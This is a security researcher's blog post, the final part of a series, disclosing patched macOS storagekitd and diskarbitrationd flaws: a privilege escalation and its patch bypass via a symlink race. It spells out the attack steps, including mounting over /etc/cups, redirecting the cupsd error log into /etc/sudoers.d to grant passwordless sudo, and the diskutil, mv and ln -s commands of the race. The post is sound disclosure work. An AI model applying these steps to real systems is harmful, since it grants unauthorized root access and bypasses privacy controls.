Skip to content
uncovering apple vulnerabilities: diskarbitrationd and storagekitd audit part 3
Blog Threat Intelligence Uncovering...

Uncovering Apple Vulnerabilities: diskarbitrationd and storagekitd Audit Part 3

Csaba Fitzl Csaba Fitzl
Principal macOS Security Researcher
15 min read

Over the past two parts of this series, we’ve explored vulnerabilities in macOS’s diskarbitrationd daemon. In part 1, we explored how an attacker could use it to escape the sandbox or escalate privileges. In part 2, we explored how a directory traversal attack could be used to bypass Transparency, Consent, and Control (TCC) protections. Each of these vulnerabilities highlighted the risks posed by weaknesses in macOS’s system daemons and how attackers could chain them together for even more impact.

In this third and final part of the series, we will discuss a vulnerability which impacted storagekitd. The vulnerability allowed an attacker to escalate their privileges to root. Apple fixed this and assigned CVE-2024-27848. However, because the patch was insufficient, we could bypass it and perform the same attack; moreover we could also fully bypass TCC. This issue is identified now as CVE-2024-44210. We will detail the vulnerability, how someone could exploit it, and why it was difficult to patch in light of the previous issues we discussed in this blog series.

The Initial Vulnerability and Exploitation

When we use the diskutil command to mount a disk over a given directory, it doesn’t communicate directly with diskarbitrationd, but will make a call to storagekitd, which will make another call to diskarbitrationd, and will eventually perform the mounting. As we discussed in the previous parts of this series, diskarbitrationd performs sandbox and privilege verification on the caller to determine if the user is allowed to perform that operation or not. We also saw that it’s not an easy task to perform and can be tricky to implement. Now let’s see how an extra player in the process, namely storagekitd, makes the whole operation very complex and even open for more errors.

Let’s take a look at the below diagram.

storagekitd is a process running as root and unsandboxed, and this is the process, which calls diskarbitrationd over IPC to perform the mount operation. This results in the fact that from diskarbitrationd point of view the “caller” is not the user, who runs diskutil, but a very powerful process, and all of the verification it will do is done for storagekitd. Because of this, all the sandbox and privilege checks will pass, and the mount will happen. This puts the responsibility of verification on storagekitd, it must do all the same checks as diskarbitrationd to ensure that one cannot escape the sandbox or escalate privileges.

This was not happening…

This resulted in someone being able to elevate their privileges to root. To Apple’s luck, this couldn’t be utilized as a sandbox escape because storagekitd was not reachable from the sandbox at first place, thus we couldn’t even trigger the chain of events.

To exploit the vulnerability someone had to perform the following steps:

  1. Create a new APFS volume. This can be done as a regular admin user and it results in a disk device created, which is owned by root. The reason we have to use such a volume instead of a regular disk image, is because diskarbitrationd verifies if the disk owner is the same as the caller. Since storagekitd runs as root, we need a disk which is also owned by root. A regular disk device, which is backed by a DMG file will be owned by the user if it was attached by the user.
  2. Once we have the new volume, we play the /etc/cups trick we discussed in detail in part 1, but for ease of following along, we are showing it again below.

The technique is illustrated below, and the explanation follows.

We mount over the /etc/cups directory and we drop a custom cups-files.conf file. This file contains configuration options for the cupsd daemon, which is the printer service. This file has two options, ErrorLog and LogFilePerm, the former sets the log file location, which we set to /etc/sudoers.d/lpe and the latter sets the permissions on the log file, which will be 777 in this case, so it becomes world writeable. We also put some junk lines in the file to trigger error log creation.

We can run cupsctl to trigger the log creation. We then insert %staff ALL=(ALL) NOPASSWD:ALL into the created sudoers file, which means that every user in the staff group can elevate their privileges to root without a password. We also change the LogFilePerm to 700 as that is needed for sudo to use the created file.

Apple’s Fix

Apple patched the vulnerability in macOS Sonoma 14.5 and assigned CVE-2024-27848. storagekitd now verified if the user has privileges to mount over the directory, and if it was required it prompted the user for authorization using the rule com.apple.DiskManagement.root.SKRequest. This requires either being root or authenticating as an admin user.

The main check was happening in the [SKMountOperation validateMountPointWithConnection:error:] method.

Although it's a long function (and we will not paste the entire here), the most important item happens during the stat function call.

rax = [rax fileSystemRepresentation];
rax = stat$INODE64(rax, &var_C0);
if (rax == 0x0) goto loc_100005f6b;
loc_100005f6b:
if ([r13 clientUID] != var_B0) goto loc_100005fef;

Here we verify if the owner of the mount point is the same as the caller. This is a corner point of the entire verification, and it's vulnerable to a race condition attack.

Here we demonstrate it using a debugger.

First we attach a debugger to storagekitd and set a breakpoint on this check and also on the sandbox verification.

(lldb) breakpoint list
Current breakpoints:
1: name = 'sandbox_check_by_audit_token', locations = 1, resolved = 1, hit count = 2
  1.1: where = libsystem_sandbox.dylibsandbox_check_by_audit_token, address = 0x00000001a29ea1cc, resolved, hit count = 2
4: address = storagekitd[0x0000000100007554], locations = 1, resolved = 1, hit count = 2
  4.1: where = storagekitd___lldb_unnamed_symbol1160 + 524, address = 0x0000000102e97554, resolved, hit count = 2

Then start a mount to a directory the user owns, in this case /tmp/mnt.

mkdir /tmp/mnt
diskutil mount -mountPoint /tmp/mnt /dev/disk4s7

Then we step through the checks as shown below, but not yet continue after.

(lldb) c
Process 284 resuming
Process 284 stopped
* thread #22, queue = 'com.apple.NSXPCConnection.user.com.apple.storagekitd.843', stop reason = breakpoint 1.1
   frame #0: 0x00000001a29ea1cc libsystem_sandbox.dylibsandbox_check_by_audit_token
libsystem_sandbox.dylibsandbox_check_by_audit_token:
->  0x1a29ea1cc <+0>:  pacibsp
   0x1a29ea1d0 <+4>:  sub    sp, sp, #0xb0
   0x1a29ea1d4 <+8>:  stp    x20, x19, [sp, #0x90]
   0x1a29ea1d8 <+12>: stp    x29, x30, [sp, #0xa0]
Target 0: (storagekitd) stopped.
(lldb) c
Process 284 resuming
Process 284 stopped
* thread #22, queue = 'com.apple.NSXPCConnection.user.com.apple.storagekitd.843', stop reason = breakpoint 4.1
   frame #0: 0x0000000102e97554 storagekitd___lldb_unnamed_symbol1160 + 524
storagekitd___lldb_unnamed_symbol1160:
->  0x102e97554 <+524>: bl     0x103027490               ; symbol stub for: stat
   0x102e97558 <+528>: cbz    w0, 0x102e9767c           ; <+820>
   0x102e9755c <+532>: bl     0x103026530               ; symbol stub for: __error
   0x102e97560 <+536>: ldr    w22, [x0]
Target 0: (storagekitd) stopped.
(lldb) memory read $x0
0x11e805940: 2f 74 6d 70 2f 6d 6e 74 00 00 00 00 00 00 00 00  /tmp/mnt........
0x11e805950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
(lldb) n
Process 284 stopped
* thread #22, queue = 'com.apple.NSXPCConnection.user.com.apple.storagekitd.843', stop reason = instruction step over
   frame #0: 0x0000000102e97558 storagekitd___lldb_unnamed_symbol1160 + 528
storagekitd___lldb_unnamed_symbol1160:
->  0x102e97558 <+528>: cbz    w0, 0x102e9767c           ; <+820>
   0x102e9755c <+532>: bl     0x103026530               ; symbol stub for: __error
   0x102e97560 <+536>: ldr    w22, [x0]
   0x102e97564 <+540>: bl     0x102eab628               ; ___lldb_unnamed_symbol1543
Target 0: (storagekitd) stopped.

We pass the sandbox check first, and then the privilege verification. We can see that the stat function call will get the /tmp/mnt directory as an input and that is what will be verified. Now, it's time to replace the mount point and point it to a location of our choice, /etc/cups.

mv /tmp/mnt /tmp/mnt2
ln -s /etc/cups /tmp/mnt

Then continue the debugger.

(lldb) c
Process 284 resuming

Then we can verify the mount's success.

crab@see ~ % mount
/dev/disk4s1s1 on / (apfs, sealed, local, read-only, journaled)
devfs on /dev (devfs, local, nobrowse)
/dev/disk4s6 on /System/Volumes/VM (apfs, local, noexec, journaled, noatime, nobrowse)
/dev/disk4s2 on /System/Volumes/Preboot (apfs, local, journaled, nobrowse)
/dev/disk4s4 on /System/Volumes/Update (apfs, local, journaled, nobrowse)
/dev/disk2s2 on /System/Volumes/xarts (apfs, local, noexec, journaled, noatime, nobrowse)
/dev/disk2s1 on /System/Volumes/iSCPreboot (apfs, local, journaled, nobrowse)
/dev/disk2s3 on /System/Volumes/Hardware (apfs, local, journaled, nobrowse)
/dev/disk4s5 on /System/Volumes/Data (apfs, local, journaled, nobrowse, protect, root data)
/dev/disk0s1 on /Volumes/Guest (hfs, local, read-only)
map auto_home on /System/Volumes/Data/home (autofs, automounted, nobrowse)
/dev/disk4s7 on /private/etc/cups (apfs, local, journaled, protect)

We successfully mounted again over a directory owned by root, and could re-exploit the original issue. Because both storagekitd and diskarbitrationd have the com.apple.private.security.storage-exempt.heritable entitlement we can use the same trick to also bypass TCC by mounting over the user’s TCC directory and drop a custom database.

We can summarize the exploit in the diagram below.

Since the verification is vulnerable to a race condition we can exploit this by using a symlink and alternating the location where it points to. After several tries we can eventually win this race and mount over the location of our choice.

The Patch Challenge

You might recall from the previous blog that using symbolic links should ultimately fail at the kernel level, as diskarbitrationd specifically use the “don’t follow symbolic link” option. The reason this still works is because of the DADiskMountWithArgumentsCommon function, which is being used for IPC communication with diskarbitrationd. This function will resolve the symbolic link, and send the resolved path.

Here is the problem:

  1. To properly patch this vulnerability, the symbolic link *must not be resolved*. If any resolution happens, we can likely always re-exploit this vulnerability, because it would result in the two processes seeing different paths.
  2. When we discussed CVE-2024-40855, which was about the directory traversal attack on diskarbitrationd, we said that the path must be resolved in order to prevent such attacks. This resolution should happen at the diskarbitrationd side of the call to prevent clients messing with the path.

So here we are with two conflicting requirements, to mitigate one attack the provided path should be never ever resolved, and for the other we have to. Properly patching this problem is only feasible if someone oversees the entire process and considers all parties involved.

Eventually Apple did find a solution, and our kudos to them for coming up with this idea. The patch that fixes both vulnerabilities is shown below.

When storagekitd calls diskarbitrationd, it will set the kDADiskMountOptionNoFollow option, and thus a path resolution will not happen, ensuring that the path goes through the whole process unchanged. In other, “normal” scenarios, this option won’t be set and thus a resolution will happen. Now, we could say that we can mess with the option again and have a client which will set it to avoid path resolution. This is where the second step comes in. Now the sandbox verification will fail if there is a symbolic link or ../ in the path.

The problem was fixed in macOS Sequoia 15.1 and assigned CVE-2024-44210.

Wrap-Up

This concludes our series about storagekitd and diskarbitrationd. We discussed four different vulnerabilities in this three part series, learned about how we can weaponize mount based vulnerabilities, and saw how difficult it can be performing verifications, especially if multiple processes are involved to perform a single task.